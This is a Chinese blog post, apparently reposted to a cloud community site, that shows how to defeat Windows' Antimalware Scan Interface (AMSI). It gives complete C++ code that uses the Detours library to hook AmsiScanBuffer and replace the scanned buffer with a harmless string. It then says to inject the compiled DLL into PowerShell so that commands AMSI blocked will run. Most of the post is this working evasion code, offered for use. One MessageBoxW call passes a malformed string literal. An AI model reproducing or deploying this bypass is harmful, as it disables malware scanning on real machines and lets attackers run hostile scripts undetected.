前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >绕过AMSI进行逃避审计

绕过AMSI进行逃避审计

作者头像
Jumbo
发布2020-11-03 14:55:28
6820
发布2020-11-03 14:55:28
举报
文章被收录于专栏:中国白客联盟中国白客联盟

在之前的文章,hook rdp对外连接的账号密码 中有提到利用Detours进行hook得到rdp的账号密码,今天正好看到绕过AMSI的文章,那我们今天继续利用这个库来达到绕过AMSI的目的。

1、AMSI是什么

根据官方文档 介绍,其叫反恶意文件扫描接口。 然后AMSI的表现是什么呢,就是当你运行一个触发他的规则文件/命令时,就会出现如下的拦截信息:

因此我们的目的就是绕过AMSI,达到执行我们想要的文件/命令。

2、分析AMSI

通过分析AMSI,其检测机制大致为加载amsi.dll进行恶意文件扫描等操作:

根据网上的分析,我们只要能hook AMSI,让其检测到的值以为是安全的,那amsi.dll返回的值我们就是可控的,最后系统就会认为该文件是无害的。

3、hook AMSI

在之前的文章,hook rdp对外连接的账号密码 已经提到了一些Detours的用法,这里再说下其简单的用法。

首先需要知道我们要hook的函数的语法,这里我们要hook的函数为AmsiScanBuffer,其语法介绍在这里: https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result );

然后我们根据这个函数语法构造一个OriginalAmsiScanBuffer函数,OriginalAmsiScanBuffer函数指针保持真正的AmsiScanBuffer地址。然后再定义一个HookedAmsiScanBuffer函数,该函数中可以进行相应的hook操作,hook结束后,把对应的值回调回第一个OriginalAmsiScanBuffer函数来执行AmsiScanBuffer,最后DllMain的内容在 hook rdp对外连接的账号密码 有提到。

详细代码如下

#include <Windows.h>

#include <detours.h>

#include <amsi.h>

#include <iostream>

#pragma comment(lib, "amsi.lib")

#define SAFE "SafeString" static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) = AmsiScanBuffer; HRESULT HookedAmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) { MessageBoxW(NULL, 'hooked', L"amsiContext", 0); return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved ) { if (DetourIsHelperProcess()) { return TRUE; } if (dwReason == DLL_PROCESS_ATTACH) { DetourRestoreAfterWith(); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, HookedAmsiScanBuffer); DetourTransactionCommit(); } else if (dwReason == DLL_PROCESS_DETACH) { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, HookedAmsiScanBuffer); DetourTransactionCommit(); FreeConsole(); } return TRUE; }

4、测试结果

我们把第三节里面的代码编译成dll,然后dll注入到相关进程,这里以powershell为例。 在未注入前,恶意命令被AMSI拦截,注入后,成功hook绕过:

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 中国白客联盟 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
区块链
云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档